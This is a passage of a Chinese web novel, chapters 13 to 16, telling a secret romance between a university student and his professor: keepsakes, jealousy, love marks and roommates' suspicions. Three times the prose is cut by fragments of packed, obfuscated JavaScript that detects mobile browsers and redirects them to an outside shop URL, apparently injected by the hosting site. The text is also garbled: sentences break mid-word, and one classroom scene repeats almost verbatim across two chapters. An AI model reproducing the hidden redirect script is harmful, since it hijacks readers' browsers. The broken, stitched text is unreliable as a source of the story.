陆知许看着他这副模样,眼底的笑意更浓了,指尖轻轻划过他手腕上的红痕:“下次,我会更用力一点。” 谢砚低笑出声,伸手揉乱他的头发,声音带着沙哑的宠溺:“好,我等着。” 三天后,树脂胶彻底凝固了。 那个装着银发的玻璃小瓶被牢牢地固定在金属环上,两个字母在阳光下闪着光。 陆知许把钥匙扣挂在了自己的书包上,走到哪里都带着。 上课时,他会偷偷摩挲着钥匙扣,目光黏在讲台上的谢砚身上;下课时,他会举着钥匙扣,跑到办公室给谢砚看,眼底满是炫耀。 谢砚看着他这副得意的样子,总是忍不住笑着揉乱他的头发。 而陆知许的收藏盒里,也多了一样新的东西—— 一根谢砚故意“掉落”的领带,上面还留着他身上淡淡的檀木香。 标签上写着:「谢砚,202X.10.18,故意留下的‘藏品’」。 窗外的阳光正好,微风拂过,带着淡淡的桂花香。 办公室里,两人相视一笑,眼底的情意浓得化不开。 原来,最好的爱情,从来都是双向的占有。 13. 第十三章 桂花香飘进办公室时,谢砚正低头批改试卷,陆知许趴在桌角,指尖绕着他垂落的银发打转,钥匙扣上的玻璃小瓶在阳光下晃出细碎的光。 “谢老师,”陆知许忽然凑近,声音压得极低,热气拂过谢砚的耳廓,“你说,下一个藏品要什么?” 谢砚笔尖一顿,红墨水在试卷上晕开一小团。他侧过头,银眸里盛着笑意,伸手捏了捏陆知许的脸颊:“贪心的小家伙。” 陆知许不依不饶,指尖戳了戳他手腕上淡下去的红痕:“这个快消了,我得补个新的。” 谢砚眼底的笑意深了,他抬手握住陆知许作乱的手指,轻轻咬了咬他的指尖,力道不重,却带着清晰的占有意味:“随你。” 陆知许眼睛一亮,像是得了糖的孩子。他忽然想起什么,从书包里掏出个小盒子,献宝似的递到谢砚面前:“给你的。” 谢砚挑眉打开,里面是个一模一样的金属环钥匙扣,只是玻璃小瓶里装的,是一绺乌黑的发丝。标签上的字迹歪歪扭扭,却写得无比认真:「陆知许,202X.10.21,专属谢砚的藏品」。 谢砚的呼吸微微一滞。 他抬眼看向陆知许,少年的脸颊泛着红晕,眼神却亮得惊人,带着一丝忐忑,又带着十足的笃定:“你有我的,我也要你有我的。双向收藏,才不算输。” 谢砚低笑出声,他伸手把陆知许拽进怀里,低头吻住他的唇。这个吻不同于以往的缠绵,带着几分急切,几分珍重,像是要把少年揉进骨血里。 窗外的桂花落了一地,风里都是甜腻的香。 放学铃声响起时,陆知许正帮谢砚收拾办公桌。他的指尖无意间扫过谢砚的衬衫口袋,摸到个硬硬的东西。 “这是什么?”陆知许好奇地掏出来,是个小巧的木盒。 谢砚的耳根微微泛红,却没有阻止。 陆知许打开木盒,里面躺着一枚银色的袖扣,上面刻着“X&L”的字样,旁边还放着一张小小的便签,字迹是谢砚的:「第一对情侣袖扣,属于我和我的收藏家」。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301347|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆知许的心跳漏了一拍,他抬头看向谢砚,眼眶微微发热。 谢砚走过来,从背后抱住他,下巴抵在他的肩窝,声音温柔得能掐出水来:“知许,”他顿了顿,银发蹭过陆知许的脸颊,“我的收藏盒里,最珍贵的藏品,从来都是你。” 陆知许转过身,扑进谢砚的怀里,紧紧抱住他。他的脸埋在谢砚的颈窝,声音闷闷的,却带着笑意:“那我要在你的收藏盒上刻字。” “刻什么?”谢砚低头,看着怀里的少年。 陆知许抬起头,眼底闪着狡黠的光,他踮起脚尖,在谢砚的唇上啄了一下,然后一字一句道: “刻——谢砚的专属,陆知许。” 夕阳透过窗户,将两人的影子拉得很长很长。 收藏盒里的物件越来越多,钢笔帽、领带夹、书签、银发、黑发、袖扣……每一件都带着彼此的温度,每一件都藏着双向奔赴的爱意。 而玄关的暖光,依旧日复一日地亮着,等着两个相爱的人,一起回家。 14. 第十四章 十月的校园,桂花开了。 空气里飘着甜丝丝的香气,混合着秋日特有的清爽。陆知许抱着课本走在去教学楼的路上,嘴角带着不自觉的笑意。 距离那个办公室里的吻,已经过去了两周。 这两周,他和谢砚的关系发生了微妙而彻底的变化。 在学校,他们依然是严谨的师生——谢砚上课时会点名提问他,会认真批改他的作业,会在走廊遇见时淡淡点头。陆知许依然是那个温顺乖巧的课代表,会按时收作业,会认真传达通知,会在谢砚需要时跑腿。 但在没人看见的地方…… 陆知许的脸微微发热。 在谢砚的公寓里,在深夜无人的校园角落,在一切可以避开目光的地方,他们是恋人。 谢砚会仰起头接受他的吻,会在被他搂住腰时轻轻颤抖,会在情动时用那双湿漉漉的深褐色眼睛看着他,小声说“知许,别在这里……” 而陆知许,总是控制不住地想要更多。 想要在谢砚身上留下更多印记,想要让所有人都知道这个人是他的,但又不得不小心翼翼地把一切藏起来。 这种矛盾的感觉,既甜蜜又煎熬。 --- 今天的《中国古代文学专题》课,陆知许像往常一样坐在中间靠窗的位置。 谢砚走进教室时,陆知许的视线立刻黏在了他身上。 谢砚今天穿了一件浅蓝色的衬衫,袖子挽到手肘,露出线条流畅的小臂。他走上讲台,放下教案,目光习惯性地扫过全班。 当他的视线经过陆知许时,停顿了半秒。 很短暂的停顿,几乎没人注意到。 但陆知许注意到了,而且他看见谢砚的嘴角几不可察地弯了一下。 那一瞬间,陆知许的心脏漏跳了一拍。 他赶紧低下头,假装在翻课本,但耳尖已经悄悄红了。 整堂课,陆知许都处在一种隐秘的兴奋状态中。 他看着谢砚在讲台上讲课的样子,看着那只握着粉笔的手在黑板上写下漂亮的板书,看着那截露在外面的小臂随着动作微微起伏…… 脑海里却全是昨晚的画面。 在谢砚公寓的沙发上,他握着那只手,一根一根地吻过谢砚的手指。谢砚闭着眼睛,睫毛轻轻颤抖,呼吸有些急促,却任由他动作。 “知许……”谢砚小声说,声音带着一丝哑。 陆知许抬起头,看见谢砚的眼睛里泛着水光,眼尾微微泛红。 那一瞬间,他几乎控制不住自己。 他低头吻住了谢砚的嘴唇,很用力,很深入,像要把这个人吞进肚子里。 谢砚没有反抗,反而伸手搂住了他的脖子,仰起头回应他。 那个吻持续了很久,久到两人都气喘吁吁才分开。 分开时,陆知许看着谢砚被自己吻得红肿的嘴唇,心里涌起一股强烈的占有欲。 他想在谢砚身上留下更明显的印记。 想让所有人都知道,这个人属于他。 但理智告诉他,不能。 至少现在不能。 所以他只是轻轻吻了吻谢砚的额头,说:“睡吧,教授。” 谢砚睁开眼睛,看着他,深褐色的眼睛里有什么东西在流动。 “叫我名字。”谢砚小声说。 陆知许愣了一下:“什么?” “私下里,叫我名字。”谢砚说,手指轻轻划过陆知许的脸颊,“不要叫教授。” 陆知许的心脏狠狠跳了一下。 “谢砚……”他小声说,第一次在清醒状态下叫出这个名字。 谢砚笑了,笑得很温柔。 “再叫一遍。” “谢砚。” “嗯。” 那一晚,陆知许在谢砚的公寓过夜。 虽然只是睡在客卧,但这是他第一次在谢砚的家里过夜。他躺在陌生的床上,闻着枕头和被子上属于谢砚的味道,整夜都没睡好。 脑海里反复回放着谢砚让他叫名字时的表情,和那个温柔的笑。 --- “陆知许同学。” 谢砚的声音把陆知许从回忆里拉了出来。 他猛地回过神,发现全班的目光都聚焦在自己身上。 “到!”他赶紧站起来,脸瞬间红了。 谢砚看着他慌乱的样子,眼里闪过一丝笑意,但语气依然很严肃:“我刚才问的问题,你有什么看法?” 陆知许的大脑一片空白。 他刚才完全没听课。 “我……”他张了张嘴,却不知道该说什么。 谢砚等了一会儿,然后说:“下课后来我办公室。坐下吧。” 陆知许如蒙大赦般坐下,后背已经出了一层薄汗。 他知道谢砚是故意的。 故意在课堂上点他的名字,故意让他出糗。 但奇怪的是,他并不生气。 反而觉得……有点甜蜜。 因为这是只有他们两个人知道的游戏。 是谢砚在提醒他:在学校,要专心。 --- 下课铃响后,陆知许磨蹭到最后才离开教室。 等他走到办公室时,谢砚正在整理教案。 “教授。”陆知许小声打招呼。 谢砚抬头看他,脸上没什么表情:“把门关上。” 陆知许乖乖关上门,然后走到办公桌前。 “刚才上课在想什么?”谢砚问,语气很平淡。 “我……”陆知许的脸又红了,“对不起,我走神了……” “想什么能想得这么入神?”谢砚挑眉,“连我讲课都听不进去?” 陆知许答不上来。 他总不能说,我在想昨晚吻你的时候,你在想什么。 谢砚看着他窘迫的样子,轻轻叹了口气。 “过来。”他说。 陆知许走过去,停在谢砚面前。 谢砚伸出手,捏了捏他的脸颊:“在学校要专心。知道吗?” 他的动作很轻,语气也很温柔。 陆知许点头:“知道了……” “乖。”谢砚说,收回手,“坐下吧,我给你补补课。” 陆知许在椅子上坐下,看着谢砚翻开课本,开始给他讲解刚才他错过的内容。 谢砚讲得很认真,很详细。 陆知许也听得很认真。 但偶尔,他的视线还是会飘向谢砚的手。 那只手现在正握着钢笔,在纸上写写画画。骨节分明,手指修长,指尖因为用力而微微泛白。 陆知许的喉结滚动了一下。 他想起了昨晚,他握着这只手,一根一根地吻过那些手指的感觉。 “又走神了?”谢砚的声音突然响起。 陆知许猛地回过神,脸瞬间涨得通红:“对不起……” 谢砚放下钢笔,看着他:“看来今天的课是补不成了。” “我可以的!”陆知许急忙说,“这次我一定专心……” “不用了。”谢砚说,站起身,“今天先到这里。你回去自己看吧。” 陆知许的心一沉。 他以为谢砚生气了。 “教授,我……” “晚上来我家。”谢砚打断他,语气很平淡,“我给你做饭。” 陆知许愣住了。 然后他的眼睛亮了起来:“真的?” “嗯。”谢砚点头,“六点,别迟到。” “我一定准时!”陆知许说,声音里带着明显的雀跃。 谢砚看着他开心的样子,嘴角几不可察地弯了弯。 “去吧。”他说。 陆知许收拾东西,快步离开了办公室。 走出办公楼时,他的嘴角始终带着笑。 晚上又能见到谢砚了。 又能去谢砚的家了。 这个认知让他整个人都轻盈起来。 --- 下午的课,陆知许依然没怎么听进去。 他满脑子都是晚上的约会。 虽然谢砚说的是“给你做饭”,但陆知许知道,那不仅仅是吃饭。 是独处,是亲密,是只有他们两个人的时光。 下午五点,陆知许提前回了宿舍。 他洗了个澡,换了身干净的衣服,还喷了一点香水——和谢砚同款的木质调。 五点半,他出发去谢砚的公寓。 走到教师公寓区时,他看见了一个熟悉的身影。 是林薇。 她站在3号楼下,手里拿着一份文件,似乎在等人。 陆知许的脚步顿了一下。 然后他看见,谢砚从楼里走了出来。 谢砚今天没穿外套,只穿着一件白色的T恤和黑色的休闲裤,看起来比平时更年轻,更……随意。 林薇看见谢砚,眼睛亮了起来,快步走过去。 “谢教授!”她说,声音很甜,“这是您要的资料,我给您送过来了。” 谢砚接过文件,翻了翻:“谢谢。麻烦你跑一趟。” “不麻烦不麻烦!”林薇赶紧说,“能帮到教授是我的荣幸!” 她的语气太热情了,热情到让陆知许心里发酸。 谢砚点点头:“那没什么事的话,你先回去吧。” “教授,”林薇却没有离开,反而往前凑了一步,“我……我有个问题想请教您,不知道您现在方不方便……” 她的身体离谢砚很近,近到几乎要贴上去。 陆知许的手指在身侧收紧。 他看着谢砚,希望谢砚能后退,能拒绝,能…… 但谢砚没有。 他只是站在原地,语气平淡地说:“什么问题?” “关于我毕业论文的选题……”林薇说,又往前凑了一点,“我觉得有点拿不准,想听听教授的意见……” 她的胸口几乎要碰到谢砚的手臂了。 陆知许的呼吸停滞了。 然后他看见,谢砚微微侧身,避开了林薇的靠近。 “选题的问题,可以等下次上课再讨论。”谢砚说,语气依然平淡,“我现在有事要出门。” 林薇的脸上闪过一丝失望,但还是笑着说:“那好吧,不打扰教授了。教授再见!” “再见。”谢砚点点头,转身走向另一个方向。 陆知许躲在树后,看着林薇离开,看着谢砚的背影消失在转角。 然后他拿出手机,给谢砚发消息: “教授,我快到您楼下了。” 发送。 很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301348|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,回复来了: “上来吧。门没锁。” 陆知许收起手机,快步走向3号楼。 走到谢砚家门口时,他发现门果然没锁。 他推门进去,看见谢砚正站在厨房里切菜。 “教授。”陆知许小声打招呼。 谢砚回头看他,眼神很深:“刚才看见了?” 陆知许的心脏狠狠跳了一下。 他以为谢砚没看见他。 “我……”他张了张嘴,不知道该说什么。 “看见了为什么不直接过来?”谢砚问,放下菜刀,转过身看着他,“躲在树后面做什么?” 陆知许的脸红了:“我……我不想打扰你们……” “打扰?”谢砚挑眉,“你觉得那是什么值得打扰的场面?” 陆知许答不上来。 谢砚走过来,停在他面前。 距离很近,近到陆知许能闻到他身上淡淡的油烟味,和熟悉的檀木香。 “吃醋了?”谢砚问,声音很轻。 陆知许点头,又摇头,最后小声说:“有一点……” “只有一点?”谢砚挑眉。 陆知许咬了咬嘴唇:“很多……我看见她离您那么近,我……” “你什么?”谢砚追问。 “我想把她推开。”陆知许说,声音里带着一丝委屈,“我想告诉她,您是我的……” 说完他就后悔了。 太幼稚了。 太霸道了。 但谢砚没有生气。 反而笑了。 笑得很开心,很真实。 “那就告诉她啊。”谢砚说,伸手捏了捏陆知许的脸颊,“下次再有人靠近我,你就直接过来,搂住我的腰,告诉他们我是你的。” 陆知许愣住了。 他呆呆地看着谢砚,以为自己听错了。 “教授……” “叫名字。”谢砚纠正他。 “谢砚……”陆知许小声说,“您……您是认真的吗?” “我从来不开这种玩笑。”谢砚说,表情认真起来,“在学校,我们需要保持距离。但在外面,如果有人试图靠近我,你可以宣誓主权。” 陆知许的心脏开始疯狂跳动。 “真的可以吗?”他小声问。 “可以。”谢砚点头,“因为我也想做同样的事。” 陆知许眨了眨眼:“什么意思?” “意思就是,”谢砚慢慢说,“我也想告诉所有人,你是我的。” 陆知许的呼吸停滞了。 然后他做了一个大胆的举动—— 他伸手搂住了谢砚的腰,把人拉进怀里,低头吻了上去。 这个吻很用力,带着明显的占有欲。 谢砚没有反抗,反而仰起头回应他,双手搂住了陆知许的脖子。 两人在厨房里接吻,直到锅里的水烧开了,发出尖锐的鸣叫声。 谢砚才轻轻推开陆知许,转身去关火。 陆知许看着他忙碌的背影,心里涌起一股奇异的满足感。 然后他走过去,从背后抱住了谢砚。 谢砚的身体僵了一下,然后放松下来。 “怎么了?”他问,声音有些哑。 “没什么,”陆知许把脸埋在谢砚的颈窝里,“就想抱抱您。” “叫名字。”谢砚再次纠正。 “谢砚。”陆知许小声说,在谢砚的脖子上轻轻吻了一下。 谢砚的身体颤了一下。 “别闹……”他小声说,“在做饭……” “您做您的。”陆知许说,嘴唇贴着谢砚的皮肤,“我抱我的。” 谢砚无奈地笑了笑,任由他抱着,继续切菜。 陆知许抱着谢砚,闻着他身上的味道,心里满满的都是幸福。 然后他的视线落在了谢砚的脖子上。 那里的皮肤很白,很细腻,能看见淡青色的血管。 陆知许盯着看了很久。 然后他低下头,在那片皮肤上轻轻咬了一口。 不重,但足以留下一个浅浅的印记。 谢砚的身体猛地僵住了。 “陆知许……”他的声音有些颤抖。 “嗯?”陆知许抬起头,看着那个刚刚留下的红痕,满意地笑了。 “您是我的。”他说,声音很轻,但很坚定,“我要在您身上留下印记。” 谢砚转过身,看着他。 深褐色的眼睛里有什么东西在流动,很深,很沉。 然后谢砚笑了。 笑得很温柔,很……满足。 “好。”他说,伸手摸了摸脖子上的痕迹,“我是你的。” 陆知许的心脏几乎要跳出胸腔。 他再次吻住了谢砚。 这一次,谢砚的回应更加热烈。 锅里的水再次烧开了。 但这次,没人理会。 因为有些事,比做饭更重要。 比如接吻。 比如确认彼此的心意。 比如在对方身上留下属于自己的印记。 窗外夜色渐深。 厨房里灯光温暖。 两个人影紧紧相拥,像要融为一体。 像本就该是一体。 15. 第十五章 周一早晨,谢砚站在衣帽间的镜子前,指尖轻轻触摸着脖子上那个淡红色的印记。 陆知许留下的。 昨晚在厨房,那个少年像只宣誓主权的小兽,在他脖子上轻轻咬了一口。不重,但足以留下一个清晰的痕迹,像一枚小小的草莓,印在白皙的皮肤上。 谢砚看着镜子里的自己,嘴角几不可察地弯了弯。 然后他转身,从衣柜里拿出一件浅灰色的高领羊绒衫。 十月的天气还不算太冷,穿高领衫有些过早。但谢砚没有犹豫,套上羊绒衫,对着镜子整理衣领。 羊绒很柔软,贴着脖子的感觉很舒服。衣领恰到好处地遮住了那个痕迹,只露出一截修长的脖颈和清晰的下颌线。 谢砚满意地点点头,拿起教案和车钥匙,出门上班。 --- 教学楼307教室,陆知许像往常一样提前十分钟到。 他选了个中间靠前的位置——最近他发现自己越来越不想坐在后排了。前排离讲台更近,能更清楚地看见谢砚,虽然也更容易被发现走神。 但他控制不了。 就像现在,谢砚还没来,他的视线已经不自觉地在教室里寻找熟悉的身影。 林薇今天也来了,坐在第二排靠走廊的位置。她今天穿了一件米白色的针织衫,长发披肩,看起来很温柔。 陆知许盯着她的背影看了几秒,然后移开视线。 心里还是有些发酸,但不像之前那么难受了。 因为他知道,谢砚是他的。 那个吻,那个印记,那些在厨房里的亲密时刻,都是证明。 上课铃响前两分钟,谢砚走进教室。 陆知许的视线立刻黏在了他身上。 浅灰色的高领羊绒衫,深灰色的西装裤,手里拿着教案和保温杯。今天的谢砚看起来比平时更……禁欲。 但陆知许知道,那件高领衫下面藏着什么。 藏着昨晚他留下的印记。 藏在只有他们两个人知道的地方。 这个认知让陆知许的心脏开始疯狂跳动。他盯着谢砚的脖子,想象着羊绒衫下面的那个痕迹,想象着昨晚自己留下它时的感觉…… “陆知许同学。” 谢砚的声音突然响起。 陆知许猛地回过神,发现全班的目光都聚焦在自己身上,包括谢砚的。 谢砚正站在讲台上,深褐色的眼睛看着他,脸上没什么表情。 “到!”陆知许赶紧站起来,脸瞬间红了。 “我刚才问的问题,你有什么看法?”谢砚问,语气很平淡。 陆知许的大脑一片空白。 他刚才完全没听课。 “我……”他张了张嘴,却不知道该说什么。 谢砚等了一会儿,然后说:“下课后来我办公室。坐下吧。” 陆知许如蒙大赦般坐下,后背已经出了一层薄汗。 他知道谢砚是故意的。 故意在课堂上点他的名字,故意让他出糗。 但奇怪的是,他并不生气。 反而觉得……有点甜蜜。 因为这让他想起昨晚,谢砚在厨房里被他吻得喘不过气时,小声说“别闹……在做饭……”的样子。 像现在这样严肃的谢砚,和昨晚那个温顺的谢砚,是同一个人。 这种反差让陆知许心跳加速。 --- 整堂课,陆知许都在努力集中注意力。 但他失败了。 他的视线总是不自觉地飘向谢砚的脖子,飘向那件浅灰色的高领羊绒衫。 他在想,那个痕迹现在是什么样子? 淡了一些,还是更红了? 昨晚他咬得不算重,但应该足够留下印记了。 谢砚今天特意穿了高领衫来遮住它。 这个认知让陆知许心里涌起一股奇异的满足感——像是自己的标记被谢砚小心翼翼地保护着,藏起来,只属于他们两个人。 下课铃响时,陆知许磨蹭到最后才离开教室。 等他走到办公室时,谢砚正在泡茶。 “教授。”陆知许小声打招呼,关上门。 谢砚抬头看他:“过来。” 陆知许走过去,停在谢砚面前。 谢砚伸出手,捏了捏他的脸颊:“上课又在想什么?” “在想您……”陆知许小声说,脸又红了。 “想我什么?”谢砚挑眉。 “想您脖子上的痕迹……”陆知许说,声音越来越小,“想您为什么要穿高领衫遮住它……” 谢砚笑了。 他拉着陆知许的手,放在自己的脖子上。 隔着柔软的羊绒,陆知许能感觉到谢砚的体温,和脖颈处微微凸起的喉结。 “感受到了吗?”谢砚问。 陆知许点头。 “那你猜猜,我为什么要遮住它?”谢砚又问。 陆知许想了想,小声说:“因为……不想让别人看见?” “对。”谢砚点头,“因为这是你留给我的印记,只属于我们两个人。我不想让别人看见。” 陆知许的心脏狠狠跳了一下。 “那……您喜欢吗?”他小声问。 “喜欢。”谢砚说,很认真地,“很喜欢。” 陆知许的眼睛亮了起来。 然后他做了一个大胆的举动—— 他低下头,隔着羊绒衫,在谢砚的脖子上轻轻吻了一下。 羊绒很柔软,但依然能感觉到下面的皮肤和骨骼。 谢砚的身体颤了一下,但没有推开他。 “别闹……”他小声说,“这里是办公室……” “我知道。”陆知许说,抬起头,看着谢砚的眼睛,“我就是想亲亲您。” 谢砚看着他认真的样子,轻轻叹了口气。 “过来。”他说,拉着陆知许的手,走到办公室的里间。 那是谢砚的休息室,很小,只有一张单人床和一个衣柜,平时谢砚中午会在这里休息。 谢砚关上门,然后转身,解开高领衫最上面的两颗扣子。 羊绒衫的领口松开了,露出了一小截白皙的脖颈。 还有那个淡红色的痕迹。 经过一夜,痕迹已经淡了一些,但依然清晰可见。像一枚小小的草莓,印在谢砚的脖子上,在白皙皮肤的衬托下格外显眼。 陆知许盯着那个痕迹,喉结滚动了一下。 “看够了吗?”谢砚问,声音有些哑。 “没有……”陆知许小声说,“还想看更多……” 谢砚笑了。 他伸手,慢慢把羊绒衫的领口拉得更开。 更多的皮肤露了出来,锁骨,肩线,还有昨晚陆知许留下的其他痕迹——在锁骨上方,有一个浅浅的牙印;在肩膀处,有一个淡淡的吻痕。 陆知许的呼吸急促起来。 他没想到自己昨晚留下了这么多痕迹。 更没想到谢砚今天会这样展示给他看。 “满意了吗?”谢砚问,深褐色的眼睛看着他,“你留下的印记。” 陆知许点头,又摇头。 “不满意?”谢砚挑眉。 “还想……再留一些……”陆知许小声说,耳尖红得能滴血。 谢砚看着他,看了很久。 然后他转身,走到衣柜前,从里面拿出一件干净的白色衬衫。 “帮我换上。”他说,背对着陆知许,开始脱身上的羊绒衫。 陆知许愣住了。 他看着谢砚的背影,看着那件浅灰色的羊绒衫被慢慢脱下,露出下面白皙的背脊。 谢砚的背很漂亮,线条流畅,肩胛骨清晰可见。皮肤很白,在休息室昏暗的光线下泛着温润的光泽。 陆知许的指尖开始发烫。 他走过去,接过谢砚递过来的衬衫。 谢砚转过身,面对着他。 现在,陆知许能清楚地看见谢砚上半身的所有痕迹——脖子上的草莓印,锁骨上的牙印,肩膀上的吻痕,还有胸口处几个浅浅的红痕…… 都是他留下的。 这个认知让陆知许的呼吸彻底乱了。 他颤抖着手,帮谢砚穿上衬衫。 一颗扣子,两颗扣子,三颗扣子…… 他的指尖不可避免地碰到了谢砚的皮肤,很光滑,很温暖。 谢砚任由他动作,只是静静地看着他。 深褐色的眼睛里有什么东西在流动,很深,很沉。 穿好衬衫后,陆知许退后一步,看着谢砚。 白色的衬衫很合身,勾勒出谢砚清瘦的身材。扣子系到最上面一颗,遮住了所有的痕迹,只露出一截修长的脖颈。 又恢复了平时那个禁欲的谢教授的样子。 但陆知许知道,在那件衬衫下面,藏着他留下的所有印记。 “好了。”谢砚说,整理了一下衣领,“出去吧。” 陆知许点头,跟着谢砚走出休息室。 办公室里,一切如常。 窗外的阳光斜斜照进来,在桌面上投出温暖的光斑。 谢砚重新在办公桌后坐下,陆知许在对面的椅子上坐下。 好像刚才什么都没发生过。 但陆知许知道,一切都变了。 --- 下午,陆知许回到宿舍时,嘴角始终带着笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301349|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个室友正在打游戏,看见他进来,陈宇第一个抬起头。 “老陆,心情很好啊?”他挑眉问。 “嗯。”陆知许点头,没有否认。 “遇到什么好事了?”李锐也凑过来,“中彩票了?” 陆知许摇头:“没有。” “那怎么笑得这么开心?”张子轩也加入进来,“该不会是……谈恋爱了吧?” 陆知许的心脏漏跳了一拍,但表面依然平静:“没有。” “切,不信。”陈宇放下游戏手柄,走过来揽住他的肩,“老实交代,是不是有情况?” 陆知许推开他:“真没有。” “那你脖子上是什么?”李锐突然说,指着陆知许的脖子。 陆知许愣了一下,下意识地摸了摸自己的脖子。 他今天穿了一件圆领的T恤,领口不算大,但也不高。 难道…… 他快步走到镜子前,侧过头。 然后他看见了—— 在他的脖子上,靠近耳后的位置,有一个淡淡的红痕。 很浅,但仔细看能看出来。 是昨晚谢砚留下的。 谢砚吻他的时候,在他脖子上留下了这个痕迹。 而他今天一整天都没发现。 陆知许的脸瞬间红透了。 他赶紧拉了拉衣领,想要遮住那个痕迹。 但已经晚了。 三个室友已经围了过来,盯着他的脖子看。 “哇靠!”陈宇夸张地叫起来,“还真是吻痕!” “老陆你可以啊!”李锐拍了下他的肩,“不声不响就脱单了?” “对方是谁?”张子轩追问,“哪个学院的?我们认识吗?” 陆知许低着头,不知道该说什么。 他总不能说,是谢砚。 是他们的教授。 “是……是外校的……”他小声说,撒了个谎。 “外校的?”陈宇挑眉,“什么时候认识的?怎么认识的?” “就……就最近……”陆知许含糊地说,“在图书馆认识的……” “图书馆艳遇?”李锐眼睛亮了,“可以啊老陆,平时看你那么老实,没想到……” “行了行了。”陆知许打断他,逃也似的跑进浴室,“我去洗澡了!” 浴室门关上,隔绝了外面的声音。 陆知许背靠着门板,长长地吐出一口气。 然后他走到镜子前,仔细看着那个痕迹。 很淡,很浅,像一枚小小的花瓣,印在他的皮肤上。 是谢砚留下的。 这个认知让陆知许心里涌起一股暖流。 他伸出手,轻轻触摸那个痕迹。 指尖下的皮肤微微发烫。 然后他笑了。 笑得像个得到糖果的孩子。 --- 晚上,陆知许躺在床上,给谢砚发消息: “教授,我今天发现了一个秘密。” 发送。 很快,回复来了: “什么秘密?” 陆知许打字: “您在我脖子上留下了痕迹,我今天才发现。” 发送。 这次,“对方正在输入”显示了很久。 最终,谢砚回复: “是吗。在哪里?” 陆知许拍了一张照片发过去——侧着脖子,露出耳后那个淡淡的红痕。 发送。 几秒后,谢砚回复: “看见了。很漂亮。” 陆知许的心脏又开始疯狂跳动。 他回复: “您故意的?” “嗯。” 很干脆的一个字。 陆知许盯着那个字看了很久。 然后他打字: “为什么?” 这次,谢砚的回复来得很快: “因为我也想在你身上留下印记。” “因为你是我的。” 陆知许看着这两句话,眼睛开始发热。 他回复: “您也是我的。” “永远都是。” 发送。 然后他放下手机,把脸埋进枕头里。 枕头下,手机震动了一下。 但他没有立刻去看。 因为他知道,那一定是谢砚的回复。 而他需要一点时间来消化这份幸福。 这份几乎要满溢出来的、让人想要流泪的幸福。 窗外夜色深沉。 但陆知许的心里亮着一盏灯。 一盏名为谢砚的灯。 照亮了他的整个世界。 16. 第十六章 周二下午,陆知许刚走出宿舍楼,就被陈宇从后面勾住了脖子。 “老陆,去哪儿啊?”陈宇笑得不怀好意,“又去图书馆‘学习’?” 陆知许的身体僵了一下。 自从昨天脖子上的吻痕被室友发现后,他就一直处于被“审讯”的状态。三个室友轮番上阵,试图从他嘴里撬出那个“外校女朋友”的信息。 “去教学楼,”陆知许小声说,“有课。” “是吗?”李锐也从后面走上来,搭上他的另一边肩膀,“哪个教室啊?我们送你去?” 陆知许知道他们在怀疑什么。 但他不能说实话。 “307,”他说,“谢教授的课。” “哦——谢教授的课啊。”陈宇拖长了音调,和旁边的李锐交换了一个眼神,“那可是要好好听。不过老陆,你最近是不是有点太‘好好听’谢教授的课了?” 陆知许的心脏漏跳了一拍。 “什么意思?”他故作镇定。 “意思就是,”张子轩也从后面跟上来,三个人把陆知许围在中间,“你最近往谢教授办公室跑得也太勤了吧?昨天下午去了两次,前天也去了,大前天也去了……” “我是课代表,”陆知许说,“当然要经常去。” “课代表也不用天天去吧?”陈宇挑眉,“而且每次去都待那么久,一待就是一个小时。你们在讨论什么啊,讨论这么久?” 陆知许的脸开始发热。 “就是……论文的事……”他含糊地说。 “论文需要讨论一个小时?”李锐追问,“老陆,你老实交代,你是不是……” 他顿了顿,凑近陆知许耳边,压低声音:“你是不是在追谢教授?” 陆知许的大脑一片空白。 血液好像一下子冲上了头顶,然后又迅速退去,留下冰凉的麻木感。 “你、你在胡说什么……”他的声音在颤抖。 “我胡说?”李锐笑了,“那你说说,你脖子上那个吻痕是谁留的?别告诉我是蚊子咬的,蚊子可咬不出那种形状。” 陆知许答不上来了。 他只能低着头,紧紧攥着书包带子,指尖因为用力而泛白。 三个室友看着他窘迫的样子,交换了一个意味深长的眼神。 最后还是陈宇拍了拍他的肩:“行了行了,不逗你了。快去上课吧,别迟到了。” 陆知许如蒙大赦般点点头,快步离开了。 但他能感觉到,身后三道视线一直跟着他,直到他转过教学楼拐角。 --- 307教室,陆知许像往常一样坐在中间靠前的位置。 但今天,他总觉得有些不安。 脑海里反复回放着刚才和室友的对话,和那些意味深长的眼神。 他们是不是发现了什么? 是不是猜到了他和谢砚的关系? 如果猜到了,会怎么样? 会告诉别人吗? 会去举报吗? 会…… 陆知许不敢再想下去。 上课铃响前,谢砚走进教室。 